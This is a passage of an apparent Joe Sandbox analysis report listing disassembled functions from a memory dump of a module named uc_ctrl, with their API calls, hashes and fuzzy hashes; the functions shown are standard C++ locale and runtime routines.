?_Getcat@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6C94D8FF
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C94D91B
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C94D943

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@D@std@@@std@@@std@@ExceptionGetcat@?$time_put@H_prolog3ThrowU?$char_traits@V42@@V?$ostreambuf_iterator@Vfacet@locale@2@
String ID:
API String ID: 2290569268-0
Opcode ID: 42374f4b993d1c7f75a87daa6772e247167699ac0c984f8a877019a258d4aba4
Instruction ID: 768bd91cddc383fb41e7c5f14477efe79c517ac9faa51bac22d5d429e24b4c8d
Opcode Fuzzy Hash: 42374f4b993d1c7f75a87daa6772e247167699ac0c984f8a877019a258d4aba4
Instruction Fuzzy Hash: 9801D23AB062248BDF04E774C8501FD727AAFA6728F540418D011ABB80DF34DD088B95

Function 6C93D8D2 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93D8D9
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EEA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93D8E4
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93D8FC

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

?_Getcat@?$codecvt@GDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6C93D91C
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C93D938
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93D960

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$codecvt@H_prolog3Mbstatet@@@std@@ThrowV42@@Vfacet@locale@2@
String ID:
API String ID: 3765126711-0
Opcode ID: c6444c5d0b311524c11a27a546ab1b02af76214b0001e36f96f8a839108b2243
Instruction ID: a5919ff7d9b3fa15c7fc99d345b48c06b9ef4c2748d6db63b788ac182f5fc415
Opcode Fuzzy Hash: c6444c5d0b311524c11a27a546ab1b02af76214b0001e36f96f8a839108b2243
Instruction Fuzzy Hash: B201CC32A126258BCF00EB7488606FD737AAFA5328F651819D015ABB90DF34DD08C795

Function 6C94D81A Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94D821
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C94AB28,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C94D82C
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C94D844

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

?_Getcat@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6C94D864
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C94D880
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C94D8A8

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@D@std@@@std@@@std@@ExceptionGetcat@?$time_get@H_prolog3ThrowU?$char_traits@V42@@V?$istreambuf_iterator@Vfacet@locale@2@
String ID:
API String ID: 1218496395-0
Opcode ID: 9181093f4e8fd7e941a5adc3a76289f9cdab3acc6bf8847bbcc5f062453dba13
Instruction ID: 74e51c615d726ff1848ad10676e013796c2d873a8283f611b6e5582e16470773
Opcode Fuzzy Hash: 9181093f4e8fd7e941a5adc3a76289f9cdab3acc6bf8847bbcc5f062453dba13
Instruction Fuzzy Hash: 0601F53AA016248BEF04E774C8502FD737ABFB5728F640559D010ABB80CF74DD088B95

Function 6C93D96D Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93D974
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EA4F,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93D97F
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93D997

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

?_Getcat@?$ctype@G@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6C93D9B7
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C93D9D3
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93D9FB

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionG@std@@Getcat@?$ctype@H_prolog3ThrowV42@@Vfacet@locale@2@
String ID:
API String ID: 2709885872-0
Opcode ID: 8b73cb8027379d03355660e9122ad244f98c58ffdd0c3540eab334dc421a7253
Instruction ID: 29c92387624ff4d8f44739ed2374f89198e769274853e5d6adff96cb557b57ec
Opcode Fuzzy Hash: 8b73cb8027379d03355660e9122ad244f98c58ffdd0c3540eab334dc421a7253
Instruction Fuzzy Hash: A701D276A026248BCF01E77488501FD7279BFA5728F541A19D025ABB90CF34DD198B94

Function 6C949AB5 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949ABC
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E90D,00000010,6C9380E0,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148,?,0000003F), ref: 6C949AC7
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949ADF

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

?_Getcat@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6C949AFF
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C949B1B
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949B43

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$time_get@_H_prolog3ThrowU?$char_traits@_V42@@V?$istreambuf_iterator@_Vfacet@locale@2@W@std@@@std@@@std@@
String ID:
API String ID: 1530604533-0
Opcode ID: 5d6a3b286179e3e8e5f8ec37f4a8dc0d4beb8ae36d50601681928ac30cc334f2
Instruction ID: d60edd4acf7d45786d8862af1108df7bd5d090c8fb53afd95c2aad0b39303f7d
Opcode Fuzzy Hash: 5d6a3b286179e3e8e5f8ec37f4a8dc0d4beb8ae36d50601681928ac30cc334f2
Instruction Fuzzy Hash: F301DE35A116258BCF00EB74C8602FEB37AAFA6328F654918D411ABB80DF74DD088B94

Function 6C949BEB Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949BF2
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

?_Getcat@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6C949C35
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C949C51
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionG@std@@@std@@@std@@Getcat@?$num_get@H_prolog3ThrowU?$char_traits@V42@@V?$istreambuf_iterator@Vfacet@locale@2@
String ID:
API String ID: 2638404470-0
Opcode ID: 50486cc5ccf0b94784e4b5fdbe0b83869fa04a1959a279b426fffa892cae6140
Instruction ID: e5f547d05cc8276b0acac33b425e023ebe35bcecb778e067b374953fca1cf3af
Opcode Fuzzy Hash: 50486cc5ccf0b94784e4b5fdbe0b83869fa04a1959a279b426fffa892cae6140
Instruction Fuzzy Hash: B501F135A026258BDF04EB70CA506FE73BAAFB6729F650518D015ABB80DF34DD088B95

Function 6C949B50 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949B57
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E967,00000010,6C9380E0,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148,?,0000003F), ref: 6C949B62
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949B7A

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

?_Getcat@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6C949B9A
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C949BB6
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949BDE

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$time_put@_H_prolog3ThrowU?$char_traits@_V42@@V?$ostreambuf_iterator@_Vfacet@locale@2@W@std@@@std@@@std@@
String ID:
API String ID: 4255657686-0
Opcode ID: e787ab283ce684f4da4e7b608c2b83804990265b229fe777f5e8fce1de40ebe5
Instruction ID: 10d41016814aba2a210144416b25060e1f7683ebb4d7048995bdd1f35ab60cf4
Opcode Fuzzy Hash: e787ab283ce684f4da4e7b608c2b83804990265b229fe777f5e8fce1de40ebe5
Instruction Fuzzy Hash: 4301D235A116248FDF01EB7488501FD73BABFA5368F950518D011ABBC0DF34DE088B54

Function 6C9495EB Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9495F2
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E611,?,?,?,?,?,00000000), ref: 6C9495FD
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C949615

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

?_Getcat@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000001,?,00000000,?,?,?,?,?,00000000), ref: 6C949635
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,?,?,00000000), ref: 6C949651
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6C949679

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$num_put@_H_prolog3ThrowU?$char_traits@_V42@@V?$ostreambuf_iterator@_Vfacet@locale@2@W@std@@@std@@@std@@
String ID:
API String ID: 2951695256-0
Opcode ID: 0d66f8f75d93d0732e93ea0c3808d5908ecae21795d01cf93a22bfc3de7ea861
Instruction ID: 95e66533e490847444500f78fdb1feb8ea56f8f343c6c61d6aa678cd01cae862
Opcode Fuzzy Hash: 0d66f8f75d93d0732e93ea0c3808d5908ecae21795d01cf93a22bfc3de7ea861
Instruction Fuzzy Hash: 8801F135A016258BCF04EB7489502FE73BABFB5328FA50519D011ABB90CF34DD088B95

Function 6C949550 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949557
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E5C0,?,?,00000000), ref: 6C949562
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C94957A

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

?_Getcat@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000001,?,00000000,?,00000000), ref: 6C94959A
_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,00000000), ref: 6C9495B6
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C9495DE

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$num_get@_H_prolog3ThrowU?$char_traits@_V42@@V?$istreambuf_iterator@_Vfacet@locale@2@W@std@@@std@@@std@@
String ID:
API String ID: 159141563-0
Opcode ID: b2573815b2412ebcf0c1d95fbd98017637874e6750aa5d9e9517d9b4b6e18502
Instruction ID: 5996d881d3abcd8916f0861ef553dba09a583d41a2d001fb92a2b7664ff26a92
Opcode Fuzzy Hash: b2573815b2412ebcf0c1d95fbd98017637874e6750aa5d9e9517d9b4b6e18502
Instruction Fuzzy Hash: 8D01F135A012248FDF00EB7488502FD73BABFA9768FA50919D411ABBC0DF34DD088B94

Function 6C931520 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525

Part of subcall function 6C93B640: setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000000,00000000,?,6C93152A,?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000), ref: 6C93B659

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@Locinfo_dtor@_V12@@setlocale
String ID:
API String ID: 3716512696-0
Opcode ID: bc30900b8173e8ba543dbaab007750837d3c5e76d775b80ccbaf3ccc733d5ae6
Instruction ID: 17dee4459c5ea1187b3dae484effdab936a473715b717af9791260fb2609ac8d
Opcode Fuzzy Hash: bc30900b8173e8ba543dbaab007750837d3c5e76d775b80ccbaf3ccc733d5ae6
Instruction Fuzzy Hash: 0611B731506F10CFDB264F19E90456AFBF5EF8AB153209A2EE09F82964CB31E605DF54

Function 6C931490 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C931497
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C9314A5
std::bad_exception::bad_exception.LIBCMT ref: 6C9314E7
_CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C9314F5
?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@HPBD@Z.MSVCP140(?,?,?), ref: 6C931501

Strings

bad locale name, xrefs: 6C9314DF

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ExceptionH_prolog3Locinfo@std@@Locinfo_ctor@_ThrowV12@_lock_localesstd::bad_exception::bad_exception
String ID: bad locale name
API String ID: 3650122461-1405518554
Opcode ID: 755a48a952a86c465f1abc97b7e930cd3d7b94a784edad98eb5d747604ecd7d3
Instruction ID: aaaf4db02889e9e0d4ae1a2075ab78d573f8ee08486933fdc930dbf1e8748af9
Opcode Fuzzy Hash: 755a48a952a86c465f1abc97b7e930cd3d7b94a784edad98eb5d747604ecd7d3
Instruction Fuzzy Hash: 2C011771801B459AC720DF7A848058AFBF0BF39314B80892ED09E83A50D734D218CB59

Function 6C931410 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C931417
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
std::bad_exception::bad_exception.LIBCMT ref: 6C931467
_CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

Strings

bad locale name, xrefs: 6C93145F

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ExceptionH_prolog3Locinfo@std@@Locinfo_ctor@_ThrowV12@_lock_localesstd::bad_exception::bad_exception
String ID: bad locale name
API String ID: 3650122461-1405518554
Opcode ID: 4a66023c2bf710a8e104829f371fd220cc2bd83e09dbcad5cf8cda7a21847b2d
Instruction ID: d4f8dad68a6002fb790f4a6ecf9ae2d97814d395ba5fb9e7c7efe3662a6d8569
Opcode Fuzzy Hash: 4a66023c2bf710a8e104829f371fd220cc2bd83e09dbcad5cf8cda7a21847b2d
Instruction Fuzzy Hash: D4010871806B45DEC720DF7A848058AFBF0BF39314B948A6ED09E93E50D774E248CB99

Function 6C934F00 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C934F07
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000030), ref: 6C934F5B
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,?,?,?,?,?,00000030), ref: 6C935050
ungetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,00000030), ref: 6C935084

Memory Dump Source

